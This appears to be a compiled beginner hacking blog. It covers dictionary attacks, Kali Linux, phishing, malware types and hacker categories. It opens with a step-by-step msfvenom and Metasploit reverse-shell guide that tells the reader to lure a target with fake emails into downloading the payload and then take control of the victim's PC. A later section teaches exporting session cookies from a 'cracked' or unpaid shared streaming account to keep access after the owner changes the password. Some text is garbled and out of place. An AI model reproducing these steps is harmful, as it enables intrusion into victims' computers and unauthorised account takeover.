STEP BY STEP GUIDE:

 

Open Metasploit Framework in Kali. Now type 'msfvenom -p windows/meterpreter/reverse_tcp lhost=(your ip address in kali) lport=1234-format=exe > payload.exe' hit enter and let the payload generate.

 

Here we will use apache web server to host payload and generate link.
cp payload.exe /var/www/html/ (this is where you host your website or phishing page)

 

service postgresql start 

service apache2 start

msfconsole

use exploit/multi/handler

set payload windows/meterpreter/

reverse_tcp

set lhost (your ip in kali)

set lport 1234

exploit -j -z

 

Show your creativity and make target visit your site by sending link through a fake email, message, etc. which we uploaded in 5th step and when target visit this site he is actually downloading the payload in background.

 

Type in terminal session -i

 

Now you are accessing victim's PC remotely.

 

Type ifconfig to see victims ip and MAC address.

 

Now you can do anything with windows cmd commands. HACKED!!!

DICTIONARY ATTACK

We all use passwords in order to increase the security of a system. But their are many ways to crack those passwords.one of them is Dictionary Attack.


WHAT IS DICTIONARY ATTACK?


Dictionary Attack is like a guessing game which is used to crack passwords.
The hackers use this method in order to get access to a system by guessing passwords. A program or a software is used in this method which contains all the possible common passwords that can be. The software tries every common password in order to get an unauthorised access. It is only useful against the users who use common passwords. There is another trick in this method. For this trick the hacker must have every single information about the user like name, birth date, any pet name, hobby, family member, career, etc. Then the hacker will input all the personal information into a script. The script will make a dictionary of every possible password using that information and will try to crack it. It is the most common and easy way to crack any password. 


WHAT IS KALI LINUX?- PARADISE FOR ETHICAL HACKERS!

KALI LINUX

WHAT IS KALI LINUX?

 

KALI LINUX is basically an operating system like Windows 10, Windows Vista, Windows XP, Mac OS, etc. Ethical hackers have to write a big script or code when they have to perform a task. This takes a lot of effort and it is very time consuming especially when you are writing these scripts in the above mentioned operating systems. If you have to perform any 'Penetration Testing' on a website or on a software , i.e., to find it's vulnerabilities and strengthen it by hacking, then writing those big scripts will take you a lot of time. But what if you get a little help while performing such task which would ease your work.



Well Kali Linux is especially made for such purposes. There are some pre-installed tools in it which help you to write and execute the scripts. Also, you can customize the already existing code to make it better and stronger. There are somewhat 600 Penetration Testing tools available. Above all, it is very helpful for Security Research, Computer forensics, Reverse Engineering.



IS USING KALI LINUX ILLEGAL?



Well, it is true that Kali Linux is used by hackers and is very helpful to those who take up hacking as a field. It is developed for the purpose of hacking. But hacking itself is not illegal until you do it for a bad purpose. Some bad or black hat hackers also use this software for wrong purpose. But that DOES NOT MAKE IT ILLEGAL. It is designed to find weaknesses in a system and strengthening it. It was designed for good purpose. It was designed for ethical or good hackers so that they make a system stronger which in return will keep your personal information, your privacy, etc. safe. KALI LINUX IS COMPLETELY LEGAL.

HOW TO ADD FIREWALL IN ANY DEVICE?

 

WHAT IS A FIREWALL?

 

Nowadays cyber attacks are on the rise. Cyber attackers use various malicious contents to get unauthorised access in our device. Firewall is a software or a network security system which protects your device from incoming malicious contents like Virus and Trojan. Many a times these malicious contents come from the internet. Based on some security rules firewall prevents such contents from entering your device. It acts as a barrier between the internal networks and incoming traffic from external sources to block malicious traffic like viruses and hackers.



STEPS TO ADD FIREWALL IN ANY ANDROID DEVICE:

 

v First of all, you need to download and install the cool android app that is NoRoot Firewall the that will allow you to add firewall feature to your device.

v Now you need to launch the app after installing it in your device. Now you need to click on "start"......

v Now you need to allow the connection, simply tap on 'OK' to continue.

v Now you need to move over the "Pending access" tab and there you will see all the apps that require connecting to the internet. Simply allow them or deny them as per your wish.



That's it! You are done. Now your android has a Firewall that will be securing your device from various threats.

 


HOW TO KEEP THE SHARED ACCOUNT WITH YOU AFTER THE OWNER CHANGES THE PASSWORD?


Today many of us use Netflix, Disney Hotstar, Prime video, etc. as a medium of entertainment. We just have to pay the subscription fee and get hold of a personal Netflix account, etc. But some of us might not be fond of paying the fee. Therefore many of us use a friend's account. Also, you might be using an account which is shared to you by someone, but the actual account holder doesn't know about it which means you are using it for free without the account holder's knowledge. 


But in such circumstances a problem can arise. If the account holder feels strange or suspicious he might change the password of the account. Now you would not be able to use it anymore. But don't worry. To solve this problem you have to follow some steps by which you can access the same account even if the owner changes it's password. 


TO DO THIS YOU HAVE TO DO FOLLOWING STEPS WHEN YOU GET THE ACCOUNT:


Note: These steps are to be followed before the password is changed.


  • Log into the cracked account.
  • Download Cookies Editor extension for Chrome.
  • Go to the homepage of the cracked account website.
  • Click on the extension at the top of the search bar on the right.
  • Click on export.
  • Paste the cookies in a txt file.

WHEN THE OWNER OF ACCOUNT CHANGED THE PASSWORD:


  • Copy the cookies from your txt files.
  • Click on the extension at the top of the search bar on the right.
  • Click on import.
  • Paste your cookies and click Done.
  • Refresh. 




WHAT IS PHISHING ATTACK?




It is a well known method which is similar to actual fishing. In fishing, we use a bait (Chaara) to attract fishes and to capture them. Similarly, in this method a hacker uses a bait, i.e., he uses fake messages, emails or websites in order to attract and steal personal information like usernames, passwords, bank details, etc. These messages can be about winning big prizes, lucky draws, verifying personal details, etc. which looks legit. 


Sometimes these emails or messages may be about verifying about the user's bank details and it might look coming straight from the bank but these messages can be a trap. Instead of verifying the details the hacker will get hold of these sensitive data.


Fake websites are made which would look normal to us. For example, it is possible to create a fake instagram website, which looks exactly similar, asking your personal information like your account and password. But if you input your personal details it will be visible to the hacker who created the website. Other fake website seems to be coming from a trustworthy or famous source but you must be careful before sharing your personal details.


TYPES OF PHISHING ATTACK:


  • SPEAR PHISHING: This type of attack is exactly similar to what is been told above. A fake website, message, email, etc. is made which is then used to steal sensitive information. The only difference is that, normally when we use the term "Phishing attack" it refers to a large scale attack where there is no specific target. The victims are those who gets caught in this trap. It could be anyone as this attack spread through internet. But in "Spear Phishing", there is specific target. It could be an organization, company, etc. The attack is executed only on that particular target. The advantage of it is that as there is a particular target, the attacker can plan the attack by collecting information against the victim, finding the weaknesses and then attack according to it. This increases the probability of success.

  • CLONE PHISHING: Clone Phishing is an attack where a previously received mail containing an attachment or link is used by the hacker to create an almost same email with malicious substitutions which seems like the authentic ones. In this method there is no specific target. The hacker spreads these emails, messages, etc. as much as possible. Once, someone when clicks on the attachment or link, that user becomes a victim. If you input any personal details, the hacker will get hold of it. One hacker can also make a fake facebook website which will be exactly similar. If you input your account and password the it would be visible to the hacker. The given image shows facebook website which looks authentic. But if you look closely at the URL of the website it is written "Facelook" instead of "Facebook". This is how hackers trick you. 

  • WHALE PHISHING: This attack focuses on high- profile companies or organization which are powerful and wealthy. Moreover, this attack targets the employees with high post such as CEO OR CFO. It is nearly impossible for a single hacker to execute such a big attack. Therefore it takes a group of hackers to carry out such attack. If this attack becomes successful, in one way the hackers have got hold of something very big. That is why it is called "Whale Phishing". The hacker can get hold of very important information which can be used to weaken the company. Also, they can ask for a big amount of money if the company doesn't want any kind of loss giving the hacker financial benefit.   

TYPES OF CYBER ATTACKS

What Is A Cyber Attack?

Basically, a CYBER ATTACK is an attempt to gain unauthorised control over a computer system or network. A group of black hat hackers or a single hacker tries to breach the security of a computer system. This usually happens on a large scale. The purpose behind a CYBER ATTACK is to get financial benefit, to steal identity, etc.

TYPES OF CYBER ATTACKS:

  1. DICTIONARY ATTACK: We all use passwords in order to increase the security of a system. Dictionary Attack is like a guessing game which is used to crack passwords.

But if you input your personal details it will be visible to the hacker who created the website. Other fake website seems to be coming from a trustworthy or famous source but you must be careful before sharing your personal details.
  3. DOS (Denial of service) and DDOS (Distributed denial of service) Attack: The aim of both attacks is same, which is, to increase the traffic on website to overload it with request for connection, etc. Until the server or website will not get down or beyond it's capacity resulting in shutting down of the website temporarily. For example, think of a normal road where vehicles are moving. If many vehicles try to move together at the same time it will create traffic as the road isn't wide enough to hold so many vehicles. Due to this, all the vehicles get block and the whole road becomes inactive. The difference: 'DOS Attack' is used against small and weak websites. A hacker uses a software which automatically sends innumerable request to get access to the websites. At a point the website cannot hold anymore request so it crashes and shuts itself down. On the another hand, 'DDOS Attack' is used against web servers of high-profile organizations such as banking, commerce, and media companies, or government and trade organizations. Also, DDOS Attack can be performed by a group of hackers. The target is a big and more secured website that is why to shut it down the hackers need to generate more traffic. For this, they first hack into many networking devices like mobile phone without the user's knowledge. It can be done by spreading malware about which you can read below. It creates a botnet, meaning a group of networking devices which are hacked and can be controlled by someone else. This botnet consist of millions of devices. Then the hackers use this botnet to bombard the website with innumerable request which crashes the website and now no one can access it. The reason behind carrying this attack may be to get extortion money or there might be competition between two organisation and by shutting one of the two websites will automatically attract more customers on the another one.    
  4.  MALWARE: A malware is any software which is designed to cause damage or corrupt a computer system, data, network, etc. It is used to carry out malicious activity. It enters a computer system without the knowledge of the owner. There are different types of malware with different purposes:
*In General usage we all use the term "computer virus"  include all forms of  "malware" ,or Malicious software.
  • VIRUS: Like a virus in real life, computer viruses are harmful for computers as they can corrupt the whole computer system. It can replicate itself and if not stop it would destroy the whole computer system. But computer virus aren't independent. It write its own code in the host Program or host computer. It cannot spread unless we try to spread it. If a file is Infected in a computer, sharing of that file to other computers will transmit the virus thereby damaging the other computer. Also, virus doesn't need human interaction to execute itself. Just after entering a system it begins to fulfill it's purpose. But some virus need to be open or run to execute the virus  Example - if a virus is embeded behind any software or a file the virus will not execute itself until the file is not opened. on the other hand there are some virus which execute itself after entering the system. 
  • WORMS: Unlike viruses a, computer worm is a complete and independent program. It can spread from computer to computer and will keep replicating itself. It spreads over a network and consumes the network resources to a large extent. Worms can enter a computer system as an attachment through spam emails, messages or someone might install thinking it as a boost for a computer system. Worms keep replicating itself  which leads to consumption of large resources such as transmission capacity, disk storage and denying services to others.
  • TROJAN: A Trojan is code a which can have various purposes like getting control over some of the computer systems, stealing data, stealing sensitive information, etc. A Trojan is not an independent malware. It needs to be executed by it's creator. It can enter your computer by fake emails, message, websites, software which looks authentic and trustworthy.
  • SPYWARE: You might know about the different spy movies where a spy keeps an eye on a particular target and sends every single information about it to his boss. Similarly, a Spyware when enters a computer system, it sends all its sensitive data to it's creator like Browsing history, cookies, location, system information, company details, etc. It keeps an eye on all the activities of the user without his or her knowledge. But a Spyware can never gain control over a system.
  • RANSOMWARE: Ransomware is like kidnapping. A kidnapper kidnaps someone and then he asks for ransom or a payment for the victim's freedom. Similarly, in a Ransomware attack, when a malicious software enters a computer system it encrypts all the data in the computer. Meaning it locks the complete data of the computer which makes it impossible for the user to get an access to that data. This software can enter your computer system through a fake email, while visiting an infected site, when you install an unknown software, etc. All these methods look very trustworthy and legit. This encryption or lock can only be opened with a type of subscription key. The hacker sends a message to the owner that if he/she wants the key to get access the data, a ransom must be paid for it mainly through an untraceable bitcoin payment. After the payment the owner gets the key with which he/she can access the computer again.   

What is Hacking ?

Hacking is an attempt to break through a computer system or a private network in order to gain control over it. In other words, hacking is referred to as finding weaknesses ,bugs ,backdoor or vulnerability in a computer system to obtain unauthorised access in it.

Who is a hacker ?

A hacker is a person who tries to hack a computer system using his computer knowledge.
Hacking

A hacker has complete knowledge of computers which includes it's hardware, softw
are ,etc. He also knows all the basic computer programming languages totally or basically, like Python, Java script, HTML, PHP, Ruby etc. For a hacker it is necessary to have all these information in order to overcome all the obstacles that arise while hacking. Also, a hacker needs to write a script or he needs to create a program of hacking all by himself. For this he needs to have programming knowledge which includes some of the above mentioned computer languages.



Is Hacking Illegal❌?

There is a very wrong misconception about hacking and hackers. Many believe that hacking is an illegal practice, which is not true. Not all types of hacking are illegal. Whether some kind of hacking is illegal or not; it is determined by the type of hacker and the hacker's intention of hacking .

Hackers are classified as Ethical and Unethical  

  • ETHICAL HACKER :- The Hacker who use there computer knowledge and hacking knowledge to find the vulnerability in the system or a software to fix and make the system more strong is the ethical one.
    Edward Snowden
    An Ethical Hacker always hacks into the system with the permission of the system's owner.There are many unethical hackers who can hack a system without the knowledge of the owner which results in loss of sensitive data, financial loss, etc.Therefore the owner needs to hire an Ethical hacker who finds the weakness of the system, reports it to the owner and then fix it preventing other illegal hackers from hacking it. Ethical hacker also help the security agency to identify the unethical hackers and to stop them from making an attempt to break into the system. Today Ethical Hackers are very crucial as computers are used everywhere. Ethical hacker can be find in a private or government company or departments to protect the company sensitive data , In Intelligent Agency to maintain the cyber security and to locate the unethical hacker , In Military to get the every single information of  the enemy and to keep eye on the opponent . In simple words ethical hacker is a good hacker who always think about our privacy and security. His work is always legal.
  • UNETHICAL HACKER OR BLACK HAT HACKER :- This type of Hacker also finds vulnerability in the system and bypasses it's security but without the permission of the system's owner. These are the unethical hackers. They hack any software, network, etc. for their personal and selfish gain. They may steal a company's data or may breach into the security system illegally and start molding or playing with it. Then they would ask for ransom if the company wants them to stop. They find the vulnerabilities of the system but never report it to the owner. They are dangerous as they can cause financial loss, loss of sensitive data, identity, etc. Sometimes Black Hat Hacker hack into various systems just for fun or to enjoy their hacking skills. There are many incidents where black hat hackers bypasses various security systems and  they leak it on the internet for free.
  • GREY HAT HACKER :-  These are neither white hat nor black hat. These hackers perform hacking for their own benefit but they don't have any wrong intentions. A grey hat hacker also find vulnerabilities in a computer system and bypasses it's security but without the permission of the owner. Still they never cause any harm to others. Unlike black hat hackers, as soon as grey hat hackers find any weak points in a system, they prepare a full report of it and ask for a small fee to the owner in exchange of the report. So basically they might hack into a system illegally but they don't cause any harm to it. But there can be cases where a grey hat hacker can turn into a black hat hacker.
  • SCRIPT KIDDIES :- These are unskilled and inexperienced hackers who knows very about hacking. They have very poor programming skills. As we saw previously, a hacker writes a script or creates a program of hacking all by himself. But, in case of Script Kiddies, as they lack these essentials skills they are unable to write their own program. Therefore they use scripts which are written by other skilled hackers. These scripts are easily available on internet. Script Kiddies lack the knowledge about how the script works. They use it without knowing how it works. Script Kiddies can be beginners in hacking or they may be teenagers which perform hacking just to impress their friends.
